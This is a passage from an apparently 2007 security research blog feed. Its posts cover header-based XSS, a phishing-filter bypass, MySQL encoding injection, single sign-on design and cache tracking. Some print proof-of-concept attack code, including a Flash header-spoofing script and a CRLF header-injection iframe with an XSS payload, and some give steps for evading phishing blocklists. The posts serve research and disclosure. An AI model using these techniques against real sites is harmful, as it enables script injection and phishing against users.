/&gt;5.0 References&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;1.0 Introduction&lt;/h2&gt;&lt;br /&gt;Ever since Adobe patched Flash player to stop attackers spoofing certain headers[1] such as Referer, User-Agent, etc, it has been considered impossible to exploit XSS vulnerabilities where the user input is taken from a request header, e.g. when a website prints out what User-Agent a user's browser is sending, without escaping it. With the exception of the Referer header which we can control enough to exploit XSS attacks through it.&lt;br /&gt;&lt;br /&gt;I want to showcase several ways in which we can still exploit these vulnerabilities.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;2.0 The User_Agent header&lt;/h2&gt;&lt;br /&gt;If you look at how the User-Agent header is accessed in certain languages (namely PHP/Perl/Ruby/ColdFusion), you will see that the User-Agent header is not referenced as it is sent over the wire:&lt;br /&gt;&lt;br /&gt;PHP:&lt;br /&gt;&lt;code&gt;$_SERVER['HTTP_USER_AGENT']&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Perl:&lt;br /&gt;&lt;code&gt;$ENV{'HTTP_USER_AGENT'}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ruby:&lt;br /&gt;&lt;code&gt;@request.user_agent&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;ColdFusion:&lt;br /&gt;&lt;code&gt;CGI.HTTP_USER_AGENT&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;As you can see, all of these languages use an underscore(_) instead of a hyphen(-) when accessing the data, so if we use Flash to send a User_Agent header, like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;class Attack { &lt;br /&gt;&amp;nbsp;&amp;nbsp;static function main(mc) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var req:LoadVars = new LoadVars();&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;req.addRequestHeader("User_Agent", "&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;req.send("http://localhost/XSS/server.php", "_self");&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(Can be easily compiled with mtasc)&lt;br /&gt;&lt;br /&gt;So if any of those languages mentioned above insecurely print the User-Agent header, or any header with a hyphen in it, then no matter whether it is blocked or not, it can still be injected.&lt;br /&gt;&lt;br /&gt;The three other languages which I checked where ASP, ASP.NET and Java, and this is how the variables are accessed:&lt;br /&gt;&lt;br /&gt;ASP/ASP.NET:&lt;br /&gt;&lt;code&gt;Request.ServerVariables("HTTP_USER_AGENT")&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Java:&lt;br /&gt;&lt;code&gt;request.getHeader("user-agent");&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And while ASP/ASP.NET would seem to be vulnerable, it is a known fact to the MS developers[2] that headers with underscores cannot be accessed through the HTTP_ server variables, and so they have added more methods[2], which are not vulnerable. &lt;br /&gt;&lt;br /&gt;Java does things neatly, and so it is not vulnerable.&lt;br /&gt;&lt;br /&gt;Note: I made a mistake originally, and it seems that Perl apps are only vulnerable when testing through browsers other than IE.&lt;br /&gt;&lt;br /&gt;Perl seems to use the last User_Agent or User-Agent header which you send it, and since the Flash plugin in IE appends our User_Agent header before IE's User-Agent header, Perl apps cannot be exploited when the user is Using IE.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;3.0 (Known) Firefox &amp; Safari Request Header Injection (Sometimes)&lt;/h2&gt;&lt;br /&gt;Stefano Di Paola published a paper[3], where he pointed out that IE7 and Firefox both facilitated request splitting when Digest authentication was used, Comcor also pointed out that Safari was vulnerable to the same issue.&lt;br /&gt;&lt;br /&gt;IE7 was only vulnerable through the XMLHttpRequest object, which can only be invoked from the website which has Digest authentication, so it is useless to us in this case.&lt;br /&gt;&lt;br /&gt;Furthermore request splitting is only useful when a user is behind a proxy (See Note at end of section), so if a user is not behind a proxy, then there is a point to spoofing headers rather than conducting a request splitting attack.&lt;br /&gt;&lt;br /&gt;Anyway, what was not mentioned in the paper was that not only can the attack be invoked through an img tag, but it can also be invoked from an iframe tag, so here is a rather contrived PoC (based on Stefano's code):&lt;br /&gt;&lt;br /&gt;digest.php:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp;&amp;nbsp;header('Set-Cookie: PHPSESSID=6555');&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;if((int)intval($_COOKIE['PHPSESSID']) !== 6555){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header('HTTP/1.0 401 Authorization Required');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header('WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"');&lt;br /&gt;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header("Set-Cookie: PHPSESSID=0");&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;print $_SERVER['HTTP_USER_AGENT'];&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;attack.php:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;iframe src="http://user%0aUser-Agent%3a%20%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0aTest%3a%20:pp@localhost/XSS/digest.php"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Note: Its not completely true that we can't do any request splitting without a proxy; we can still split requests and have a server with multiple vhosts interpret the second split response as a normal request for a vhost other than that which has the digest authentication. Thanks to Amit Klein for pointing this out.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;4.0 Attacking Cache Proxies.&lt;/h2&gt;&lt;br /&gt;Warning: This attack is rather convoluted, and a bit impractical. *shrug*&lt;br /&gt;&lt;br /&gt;With the advent of Anti-DNS Pinning being disclosed by Martin Johns[4] and improved on by Kanatoko Anvil[5][6][7], Kanatoko also found that Flash didn't Pin DNS[8], and who together found that Java's DNS record could be spoofed if used via LiveConnect[9].&lt;br /&gt;&lt;br /&gt;This gives us an exceptionally powerful tool - an ability to create socket connections from a victim's computer.&lt;br /&gt;&lt;br /&gt;So by utilising the low level socket abilities of Flash or Java we can create a socket connection to the user's caching proxy server if they have one. From there we can inject requests where we provide an XSS payload in the appropriate HTTP request header, which the proxy will sometimes cache, so when we redirect the user to that page they will be served the XSSed version.&lt;br /&gt;&lt;br /&gt;This works because cache servers are often setup to cache html pages, and they are very sometimes setup so the only thing which is matches is the URL, rather than any headers or cookies.&lt;br /&gt;&lt;br /&gt;Here is a step-by-step explanation:&lt;br /&gt;&lt;br /&gt;1. First of all we need to know the IP address and port the users to access their proxy - sadly this part is rather browser specific.&lt;br /&gt;&lt;br /&gt;On IE we can use Java[10][11] to detect the proxy settings in IE (I know nothing about Java, other than the fact that its possible, and there are known methods), or by using Javascript[11] in Firefox, by reading the Firefox settings network.proxy.http and network.proxy.http_port.&lt;br /&gt;&lt;br /&gt;2. The next step is to open a socket to the proxy server, Anti-DNS Pinning attacks are already well documented in [4][5][6][7][8][9].&lt;br /&gt;&lt;br /&gt;3. Send a request to the caching proxy with an XSS payload in the appropriate HTTP headers on the socket you have established.&lt;br /&gt;&lt;br /&gt;4. Send the user to the cached page. This can be improved by using Flash to send a "Cache-Control: only-if-cached" header so that the proxy is more likely to serve the XSS-ed page.&lt;br /&gt;&lt;br /&gt;Note: I don't have any code to test this, but from when I setup squid to cache html pages, creating a socket to the page and injecting into headers, then viewing the same page in the browser worked, and so I see no reason why this shouldn't. And I have personally seen live proxy servers setup to cache html pages, and where these attacks are possible, so while I'm not sure how common such setups are, they definitely exist.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;5.0 References&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;[1] "Forging HTTP request headers with Flash", Amit Klein, July 2006&lt;br /&gt;&lt;a href="http://www.securityfocus.com/archive/1/441014"&gt;http://www.securityfocus.com/archive/1/441014&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[2] "HOWTO: Retrieve Request Headers using ISAPI, ASP, and ASP.Net", David Wang, April 2006&lt;br /&gt;&lt;a href="http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx"&gt;http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[3] "IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stafano Di Paolo, April 2007&lt;br /&gt;&lt;a href="http://www.wisec.it/vulns.php?id=11"&gt;http://www.wisec.it/vulns.php?id=11&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[4] "(somewhat) breaking the same-origin policy by undermining dns-pinning", Martin Johns, August 2006&lt;br /&gt;&lt;a href="http://shampoo.antville.org/stories/1451301/"&gt;http://shampoo.antville.org/stories/1451301/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[5] "Stealing Information Using Anti-DNS Pinning : Online Demonstration", Kanatoko Anvil, December 2006&lt;br /&gt;&lt;a href="http://www.jumperz.net/index.php?i=2&amp;a=1&amp;b=7"&gt;http://www.jumperz.net/index.php?i=2&amp;a=1&amp;b=7&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[6] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, December 2006&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539"&gt;http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[7] "Anti-DNS Pinning + Socket in FLASH", Kanatoko Anvil, February 2007&lt;br /&gt;&lt;a href="http://www.jumperz.net/index.php?i=2&amp;a=3&amp;b=3"&gt;http://www.jumperz.net/index.php?i=2&amp;a=3&amp;b=3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[8] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, February 2007&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?6,4511#msg-6253"&gt;http://sla.ckers.org/forum/read.php?6,4511#msg-6253&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[9] "Using Java in anti DNS-pinning attacks (Firefox and Opera)", Martin Johns &amp; Kanatoko Anvil, February 2007&lt;br /&gt;&lt;a href="http://shampoo.antville.org/stories/1566124/"&gt;http://shampoo.antville.org/stories/1566124/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[10] "How to detect Proxy Settings for Internet Connection"&lt;br /&gt;&lt;a href="http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html"&gt;http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[11] "RE: Auto-detecting proxy settings in a standalone Java app"&lt;br /&gt;&lt;a href="http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html"&gt;http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[12] "Read Firefox Settings (PoC)", Sergey Vzloman, May 2007&lt;br /&gt;&lt;a href="http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/"&gt;http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1311278612076784649?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1311278612076784649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1311278612076784649' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1311278612076784649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1311278612076784649'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html' title='Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1753439128409424808</id><published>2007-06-30T17:22:00.000+10:00</published><updated>2007-06-30T17:34:53.390+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Universal Phishing Filter Bypass</title><content type='html'>Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.&lt;br /&gt;&lt;br /&gt;To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.&lt;br /&gt;&lt;br /&gt;The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.&lt;br /&gt;&lt;br /&gt;To avoid this, one can do the following:&lt;br /&gt;&lt;br /&gt;Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.&lt;br /&gt;&lt;br /&gt;The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.&lt;br /&gt;&lt;br /&gt;There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).&lt;br /&gt;&lt;br /&gt;What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.&lt;br /&gt;&lt;br /&gt;And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.&lt;br /&gt;&lt;br /&gt;If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:&lt;br /&gt;&lt;br /&gt;1. Find a blocked URL.&lt;br /&gt; - I got http://ospr.110mb.com/yahoo/ from phishtank&lt;br /&gt;&lt;br /&gt;2. Point the hosts file entry for the domain to an IP.&lt;br /&gt; - I pointed ospr.110mb.com to 127.0.0.1&lt;br /&gt;&lt;br /&gt;3. Create a directory/page on your server in the same place as the phishing page.&lt;br /&gt; - I created /yahoo/index.php on my localhost&lt;br /&gt;&lt;br /&gt;4. Confirm that your page is being blocked.&lt;br /&gt; - I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers&lt;br /&gt;&lt;br /&gt;5. Clear the browser cache/restart the browser.&lt;br /&gt; - IE and Firefox need a restart, Opera needs you to manually clear the cache&lt;br /&gt;&lt;br /&gt;6. Edit the file to redirect to another file on the site which is not blocked.&lt;br /&gt; - I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;header ("Location: http://ospr.110mb.com/yahoo/login.php");&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;7. Visit the original phishing page again.&lt;br /&gt; - I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.&lt;br /&gt;&lt;br /&gt;Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1753439128409424808?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1753439128409424808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1753439128409424808' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1753439128409424808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1753439128409424808'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/05/universal-phishing-filter-bypass.html' title='Universal Phishing Filter Bypass'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2175989897210296394</id><published>2007-06-27T16:41:00.000+10:00</published><updated>2007-06-27T17:28:20.507+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Encoding'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>[My]SQL Injection Encoding Attacks</title><content type='html'>Early last year &lt;a href="http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string"&gt;Chris Shiflett&lt;/a&gt; and &lt;a href="http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html"&gt;Ilia Alshanetsky&lt;/a&gt; published some posts about how it is possible to conduct SQL Injection attacks against sites which escape user input, but either use an encoding unaware escaping function (e.g. addslashes()), or do not inform their escaping function about the issue.&lt;br /&gt;&lt;br /&gt;I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.&lt;br /&gt;&lt;br /&gt;But who actually does either of those things? Well, Google Code search reports &lt;a href="http://www.google.com/codesearch?q=addslashes+lang%3Aphp"&gt;approximately 54,300 results for applications using addslashes()&lt;/a&gt; and &lt;a href="http://www.google.com/codesearch?q=%22SET+CHARACTER+SET%22+lang%3Aphp"&gt;approximately 100 applications which have the words "SET CHARACTER SET" in their code&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Not particularly many of the latter, but the very first result is the rather popular &lt;a href="http://www.phpmyadmin.net/home_page/index.php"&gt;phpMyAdmin&lt;/a&gt; project, so its not a completely unused query.&lt;br /&gt;&lt;br /&gt;Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;big5, [A1-F9]&lt;/li&gt;&lt;br /&gt;&lt;li&gt;sjis, [81-9F], [E0-FC]&lt;/li&gt;&lt;br /&gt;&lt;li&gt;gbk, [81-FE]&lt;/li&gt;&lt;br /&gt;&lt;li&gt;cp932, [81-9F], [E0-FC]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.&lt;br /&gt;&lt;br /&gt;Anyway, if anyone is interested, I uploaded the fuzzer here: &lt;a href="http://mihd.net/pwe0f9"&gt;http://mihd.net/pwe0f9&lt;/a&gt;. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.&lt;br /&gt;&lt;br /&gt;Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.&lt;br /&gt;&lt;br /&gt;Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2175989897210296394?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2175989897210296394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2175989897210296394' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2175989897210296394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2175989897210296394'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/06/mysql-injection-encoding-attacks.html' title='[My]SQL Injection Encoding Attacks'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2221155643446064693</id><published>2007-06-02T19:20:00.000+10:00</published><updated>2007-06-02T20:21:39.978+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='SSO'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Building Secure Single Sign On Systems and Google</title><content type='html'>After seeing &lt;a href="http://christ1an.blogspot.com/2007/05/they-are-not-allowed-to.html"&gt;several&lt;/a&gt; &lt;a href="http://www.0x000000.com/?i=323"&gt;posts&lt;/a&gt; which spelled doom and gloom if there was ever found an XSS hole in any of Google's because they used a Single Sign On (SSO) System I started trying to think of a method in which secure sign on could be securely implemented, where all the SSO server side code is trusted, e.g. when you own all the websites, and here's what I came up with.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Idea 1: Remote Javascript&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.&lt;br /&gt;&lt;br /&gt;The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.&lt;br /&gt;&lt;br /&gt;Of course, there are several things you could do to prevent this:&lt;br /&gt;&lt;br /&gt;You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.&lt;br /&gt;&lt;br /&gt;But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.&lt;br /&gt;&lt;br /&gt;You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.&lt;br /&gt;&lt;br /&gt;Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Idea 2: Remote iframes&lt;/h2&gt;&lt;br /&gt;I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.&lt;br /&gt;&lt;br /&gt;If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:&lt;br /&gt;&lt;br /&gt;Write an iframe to the page which looked like this:&lt;br /&gt;&lt;code&gt;&amp;lt;iframe width="300" height="150" src="http://ssodomain.com/login.php?site=Service"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And on http://ssodomain.com/login.php the following would be done:&lt;br /&gt;&lt;br /&gt;If the user is &lt;b&gt;not&lt;/b&gt; logged in display a login form.&lt;br /&gt;&lt;br /&gt;If the user &lt;b&gt;is&lt;/b&gt; logged in then write the following javasript tot he page:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;window.top.location = 'http://companyownedwebsite.com/verify.php?auth=123456';&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.&lt;br /&gt;&lt;br /&gt;The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Google's Approach&lt;/h2&gt;&lt;br /&gt;After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login &lt;i&gt;page&lt;/i&gt; is displayed, and the form is submitted to that same domain.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;So what does this mean?&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and  it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;So Google's SSO should be secure in the face of an XSS hole?&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;So what are you trying to say&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.&lt;br /&gt;&lt;br /&gt;Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2221155643446064693?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2221155643446064693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2221155643446064693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2221155643446064693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2221155643446064693'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/06/building-secure-single-sign-on-systems.html' title='Building Secure Single Sign On Systems and Google'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6598993223751212794</id><published>2007-05-19T20:09:00.000+10:00</published><updated>2007-05-20T11:00:42.568+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Tracking users with Cache Data</title><content type='html'>There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.&lt;br /&gt;&lt;br /&gt;With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.&lt;br /&gt;&lt;br /&gt;If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same 